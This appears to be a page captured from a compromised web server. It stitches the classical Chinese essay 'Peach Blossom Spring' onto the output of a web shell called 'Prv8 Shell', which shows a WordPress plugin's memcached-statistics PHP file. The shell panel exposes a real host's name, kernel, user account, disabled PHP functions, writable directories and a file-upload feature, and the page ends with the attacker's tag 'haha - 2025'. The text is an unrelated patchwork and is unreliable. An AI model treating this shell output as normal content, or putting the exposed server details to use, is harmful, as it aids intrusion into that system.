晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/Cache_Memcached_Stats.php
<?php
namespace W3TC;

/**
 * Download extended statistics since module cant do it by itself
 */
class Cache_Memcached_Stats {
	public function __construct( $host, $port ) {
		$this->host = $host;
		$this->port = $port;
	}

	public function request( $command ) {
		$handle = @fsockopen( $this->host, $this->port );
		if ( !$handle )
			return null;

		fwrite( $handle, $command . "\r\n" );

		$response = array();
		while ( ( !feof( $handle ) ) ) {
			$line = fgets( $handle );
			$response[] = $line;

			if ( $this->end( $line, $command ) )
				break;
		}

		@fclose( $handle );
		return $response;
	}

	private function end( $buffer, $command ) {
		// incr or decr also return integer
		if ( ( preg_match( '/^(incr|decr)/', $command ) ) ) {
			if ( preg_match(
					'/^(END|ERROR|SERVER_ERROR|CLIENT_ERROR|NOT_FOUND|[0-9]*)/',
					$buffer ) )
				return true;
		} else {
			if ( preg_match( '/^(END|DELETED|OK|ERROR|SERVER_ERROR|CLIENT_ERROR|NOT_FOUND|STORED|RESET|TOUCHED)/', $buffer ) )
				return true;
		}

		return false;
	}

	public function parse( $lines ) {
		$return = array();

		foreach ( $lines as $line ) {
			$data = explode( ' ', $line );
			$return[] = $data;
		}

		return $return;
	}

	public function slabs() {
		$result = $this->request( 'stats slabs' );
		if ( is_null( $result ) )
			return null;

		$result = $this->parse( $result );
		$slabs = array();

		foreach ( $result as $line_words ) {
			if ( count( $line_words ) < 2 )
				continue;

			$key = explode( ':', $line_words[1] );
			if ( (int)$key[0] > 0 )
				$slabs[$key[0]] = '*';
		}

		return array_keys( $slabs );
	}

	public function cachedump( $slab_id ) {
		$result = $this->request( 'stats cachedump ' . $slab_id . ' 0' );
		if ( is_null( $result ) )
			return null;

		// return pure data to limit memory usage
		return $result;
	}
}

haha - 2025